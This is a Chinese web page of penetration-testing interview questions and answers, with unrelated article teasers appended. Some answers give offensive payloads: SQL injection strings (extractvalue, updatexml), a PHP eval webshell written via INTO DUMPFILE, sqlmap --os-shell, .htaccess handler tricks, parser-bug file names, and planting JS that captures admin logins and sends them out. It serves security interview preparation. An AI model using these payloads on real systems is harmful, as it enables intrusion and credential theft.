网络安全(大厂)面试题

       以下为网络安全各个方向涉及的面试题,星数越多代表问题出现的几率越大,祝各位都能找到满意的工作。

注:本套面试题,已整理成pdf文档,但内容还在持续更新中,因为无论如何都不可能覆盖所有的面试问题,更多的还是希望由点达面,查漏补缺。

1、拿到一个待检测的站,你觉得应该先做什么?

1.1 信息收集

① 获取域名的whois信息,获取注册者邮箱姓名电话等。

② 查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

③ 查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

④ 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

⑤ 扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针

⑥ google hack 进一步探测网站的信息,后台,敏感文件

1.2 漏洞扫描

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

1.3 漏洞利用

利用以上的方式拿到webshell,或者其他权限

1.4 权限提升

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

1.5 志清理

1.6 总结报告及修复方案

2、判断出网站的CMS对渗透有什么意义?

查找网上已曝光的程序漏洞。

如果开源,还能下载相对应的源码进行代码审计。

3、一个成熟并且相对安全的CMS,渗透时扫目录的意义?

敏感文件、二级目录扫描

站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

4、常见的网站服务器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5、mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

6、目前已知哪些版本的容器有解析漏洞,具体举例。

IIS 6.0

/xx.asp/xx.jpg “xx.asp”是文件夹名

IIS 7.0/7.5

默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

Nginx

版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。

空字节代码 xxx.jpg.php

Apache

上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

lighttpd

xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

7、如何手工快速判断目标站是windows还是linux服务器?

linux大小写敏感,windows大小写不敏感。

8、为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。

站库分离。

3306端口不对外开放

9、无法连接3389的几种情况

没开放3389 端口

端口被修改

防护拦截

处于内网(需进行端口转发)

10、如何突破注入时字符被转义?

宽字符注入

hex编码绕过

11、在某后台新闻编辑界面看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞。

12、拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子:

插入

SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件。

具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

13、注入漏洞只能查账号密码?

只要权限广,拖库脱到老。

14、安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

15、access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?**

迅雷下载,直接改后缀为.mdb。

16、提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行多半需要空格界定参数

17、某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库。

18、注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

19、某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。

已记录您的ip xx.xx.xx.xx

时间:2016:01-23

提交页面:test.asp id=15

提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

21、上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

22、审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

23、目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码。

其实有些站点,在登陆处也会这样提示

所有和数据库有交互的地方都有可能有注入。

24、目标站发现某txt的下载地址为http://www.test.com/down/down.php file=/upwdown/1.txt,你有什么思路?

这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

25、甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录。

26、在有shell的情况下,如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

27、后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改成text就明文显示了

28、目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29、审查元素得知网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

30、在win2003服务器中建立一个 .zhongzi文件夹用意何为?

隐藏文件夹,为了不让管理员发现你传上去的工具。

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp id=2+1 B. demo.jsp id=2-1

选B,在 URL 编码中 + 代表空格,可能会造成混淆

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do DATA=AjAxNg==

DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell

使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高

通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

  CSRF是跨站请求伪造攻击,由客户端发起

  SSRF是服务器端请求伪造,由服务器发起

  重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

36.1密码找回漏洞中存在

① 密码允许暴力破解、

② 存在通用型找回凭证、

③ 可以跳过验证步骤、

④ 找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码。

36.2 身份认证漏洞中最常见的是

① 会话固定攻击

② Cookie 仿冒:只要得到 Session 或 Cookie 即可伪造用户身份。

36.3验证码漏洞中存在

① 验证码允许暴力破解

② 验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

  get /ecskins/demo.jsp uid=2016031900&keyword=”hello world”

  HTTP/1.1Host:.com:82User-Agent:Mozilla/

  5.0 Firefox/40Accept:text/css,/;q=0.1

  Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3

  Referer:http://**.com/eciop/orderForCC/

  cgtListForCC.htm zone=11370601&v=145902

  Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;

  uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;

  st_uid=N90PLYHLZGJXI-NX01VPUF46W;

  status=True

  Connection:keep-alive

38、sqlmap,怎么对一个注入点注入?

38.1 如果是get型号,直接,sqlmap -u “诸如点网址”.

38.2 如果是post型诸如点,可以sqlmap -u “注入点网址” –data=”post的参数”

38.3 如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r “文件地址”

39、sql注入的几种类型?

39.1 报错注入

39.2 bool型注入

39.3 延时注入

39.4 宽字节注入

40、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

41、盲注和延时注入的共同点?

都是一个字符一个字符的判断

42、如何拿一个网站的webshell?

上传,后台编辑模板,sql注入写文件,命令执行,代码执行,一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

43、报错注入的函数有哪些? 10个

43.1 and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】———

43.2 通过floor报错 向下取整

43.3 +and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

43.4 geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));

43.5 multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));

43.6 polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));

43.7 multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));

43.8 linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

43.9 ultilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));

43.10 exp()select from test where id=1 and exp(~(select * from(select user())a));

44、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?

src指定一个远程的脚本文件,获取referer

45、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

45.1 远程服务器修改apache配置文件,配置.jpg文件以php方式来解析AddType application/x-httpd-php .jpg

45.2 <img src=http://xss.tv/1.jpg> 会以php方式来解析

46、sql注入写文件都有哪些函数?

select ‘一句话’ into outfile ‘路径’

select ‘一句话’ into dumpfile ‘路径’

select ‘< php eval($_POST[1]) >’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

47、如何防止CSRF

47.1 验证referer

47.2验证token

详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48、owasp 漏洞都有哪些?

48.1 SQL注入防护方法:

48.2 失效的身份认证和会话管理

48.3 跨站脚本攻击XSS

48.4 直接引用不安全的对象

48.5 安全配置错误

48.6 敏感信息泄露

48.7 缺少功能级的访问控制

48.8 跨站请求伪造CSRF

48.9 使用含有已知漏洞的组件

48.10 未验证的重定向和转发

49、SQL注入防护方法?

49.1 使用安全的API

49.2 对输入的特殊字符进行Escape转义处理

49.3 使用白名单来规范化输入验证方法

49.4 对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

49.5 服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

50、代码执行,文件读取,命令执行的函数都有哪些?

50.1 代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

50.2 文件读取:file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

50.3 命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

需要pdf版本可以,关注自动获取

结语


网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/48877.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Springboot 自定义 Mybatis拦截器,实现 动态查询条件SQL自动组装拼接(玩具)

前言 ps&#xff1a;最近在参与3100保卫战&#xff0c;战况很激烈&#xff0c;刚刚打完仗&#xff0c;来更新一下之前写了一半的博客。 该篇针对日常写查询的时候&#xff0c;那些动态条件sql 做个简单的封装&#xff0c;自动生成&#xff08;抛砖引玉&#xff0c;搞个小玩具&a…

Shell语法揭秘:深入探讨常见Linux Shell之间的语法转换

深入探讨常见Linux Shell之间的语法转换 一、引言二、Linux常用Shell&#xff1a;Bash、Zsh、Ksh、Csh、Tcsh和Fish的简介2.1、Bash、Zsh、Ksh、Csh、Tcsh和Fish的特点和用途2.2、语法差异是常见Shell之间的主要区别 三、变量和环境设置的语法差异3.1、变量定义和使用的不同语法…

【算法】活用双指针完成复写零操作

Problem: 1089. 复写零 文章目录 题目解析算法原理分析找到最后一个复写的位置从后往前进行复写操作 代码展示 题目解析 首先我们来分析一下本题的题目意思 可以看到题目中给到了一个数组&#xff0c;意思是让我们将数组中的零元素都复写一遍&#xff0c;然后将其余的元素向后平…

无涯教程-PHP - preg_grep()函数

preg_grep() - 语法 array preg_grep ( string $pattern, array $input [, int $flags] ); 返回由与给定模式匹配的输入数组元素组成的数组。 如果将flag设置为PREG_GREP_INVERT&#xff0c;则此函数返回输入数组中与给定模式不匹配的元素。 preg_grep() - 返回值 返回使用…

odoo安装启动遇到的问题

问题&#xff1a;在第一次加载odoo配置文件的时候&#xff0c;启动失败 方法&#xff1a; 1、先检查odoo.conf的内容&#xff0c;尤其是路径 [options] ; This is the password that allows database operations: ; admin_passwd admin db_host 127.0.0.1 db_port 5432 d…

React(8)

千锋学习视频https://www.bilibili.com/video/BV1dP4y1c7qd?p72&spm_id_frompageDriver&vd_sourcef07a5c4baae42e64ab4bebdd9f3cd1b3 1.React 路由 1.1 什么是路由&#xff1f; 路由是根据不同的 url 地址展示不同的内容或页面。 一个针对React而设计的路由解决方案…

如何使用 Docker Compose 运行 OSS Wordle 克隆

了解如何使用 Docker Compose 在五分钟内运行您自己的流行 Wordle 克隆实例。您将如何部署 Wordle&#xff1f; Wordle在 2021 年底发布后席卷了互联网。对于许多人来说&#xff0c;这仍然是一种早晨的仪式&#xff0c;与一杯咖啡和一天的开始完美搭配。作为一名 DevOps 工程师…

SQL Server 执行报错: “minus“ 附近有语法错误。

sql server 执行带 minus 的语句一直报错&#xff0c;如下图&#xff1a; 找了好久才知道minus是Oracle里面的语法&#xff0c;SQL server 应用 EXCEPT。

存储IO路径:Linux下的“快递之旅”

相信大家都有过网购的经历,当我们在电商平台上浏览心仪的商品并下单时,快递小哥会负责将物品从商家手中送至我们手中。在这个过程中,快递小哥需要经过一系列的流程才能将物品准确送达。同样,在Linux系统中,当用户下发一笔读写操作时,这些数据也需要经过一系列的流程才能最…

【面试】项目经理面试题

文章目录 一、项目管理面试中通常会问到的问题1.项目管理软件工具知识2.做项目计划的技能3.人员管理技能4.沟通技巧5.方法论知识 二、问面试官的问题三. 面试系列推荐 一、项目管理面试中通常会问到的问题 1.项目管理软件工具知识 问题 1: 工期和工作量之间的差异是什么? 答案…

Shell 编程快速入门 之 数学计算和函数基础

目录 1. 求两数之和 整数之和 浮点数之和 2. 计算1-100的和 for...in C风格for循环 while...do until...do while和until的区别 关系运算符 break与continue的区别 3. shell函数基础知识 函数定义 函数名 函数体 参数 返回值 return返回值的含义 return与…

opencv 进阶16-基于FAST特征和BRIEF描述符的ORB(图像匹配)

在计算机视觉领域&#xff0c;从图像中提取和匹配特征的能力对于对象识别、图像拼接和相机定位等任务至关重要。实现这一目标的一种流行方法是 ORB&#xff08;Oriented FAST and Rotated Brief&#xff09;特征检测器和描述符。ORB 由 Ethan Rublee 等人开发&#xff0c;结合了…

基于STC15单片机-LM35-DS8B20温度测量-DS1302计时-proteus仿真-源程序

一、系统方案 本设计采用STC15单片机作为主控器。 DS18B20采集温度值送到液晶1602显示。 DS1302计时&#xff0c;日期送到液晶1602显示。 LM35采集另一路温度值送到数码管显示。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 /IO初始化为…

前端console.log打印内容与后端请求返回数据不一致

后端传值num0 前端打印num1 ,如图&#xff0c;console.log后台显示的数据与展开后不一致 造成该问题原因是深拷贝与浅拷贝的问题。 var obj JSON.parse(JSON.stringify(res)) 修改后打印 正常

【0基础入门Python Web笔记】二、python 之逻辑运算和制流程语句

二、python 之逻辑运算和制流程语句 逻辑运算控制流程语句条件语句&#xff08;if语句&#xff09;循环结构&#xff08;for循环、while循环&#xff09;continue、break和pass关键字控制流程语句的嵌套以及elif 更多实战项目可进入下方官网 逻辑运算 Python提供基本的逻辑运算…

疲劳驾驶检测和识别4:C++实现疲劳驾驶检测和识别(含源码,可实时检测)

疲劳驾驶检测和识别4&#xff1a;C实现疲劳驾驶检测和识别(含源码&#xff0c;可实时检测) 目录 疲劳驾驶检测和识别4&#xff1a;C实现疲劳驾驶检测和识别(含源码&#xff0c;可实时检测) 1.疲劳驾驶检测和识别方法 2.人脸检测方法 3.疲劳驾驶识别模型(Python) &#xf…

Android JNI系列详解之AS创建Native C++项目

一、前提 Android Studio版本&#xff1a;Android Studio Electric Eel | 2022.1.1 Patch 1 二、创建Native C项目 1.新建项目 2.选择新建Native C项目 3.New Project 4.选择C标准库的支持版本 5.项目自带的默认生成的代码 6.buil.gradle中也自带了CMakeList的配置&#xff08;…

冠达管理:股票分红的钱会计算到收益吗?为什么分红之后出现亏损?

我们常说炒股的主要收益来源便是除了高抛低吸赚取差价收益之外&#xff0c;还有参加股票分红取得。那么股票分红的钱管帐算到收益吗&#xff1f;为什么分红之后呈现亏本&#xff1f;下面就由冠达管理为大家剖析&#xff1a; 股票分红的钱管帐算到收益吗&#xff1f; 不会。 股…

变频器和plc之间无线MODBUS通讯

在工业现场由PLC远程控制变频器的应用非常常见&#xff0c;如果挖沟布线不便或者变频器在移动设备上&#xff0c;那么采用无线通讯就是最佳方案。 这里我们选用最常用的三菱 FX2N PLC和三菱变频器为例&#xff0c;并结合日系plc专用无线通讯终端DTD435M来说明PLC与变频器之间的…

生信豆芽菜-信号转导通路相关评分的计算

网址&#xff1a;http://www.sxdyc.com/gradeSigna 1、数据准备 表达谱数据&#xff0c;行为基因&#xff0c;列为样本 2、提交后&#xff0c;等待运行成功即可下载 当然&#xff0c;如果不清楚数据是什么样的&#xff0c;可以选择下载我们的示例数据&#xff0c;也可以关…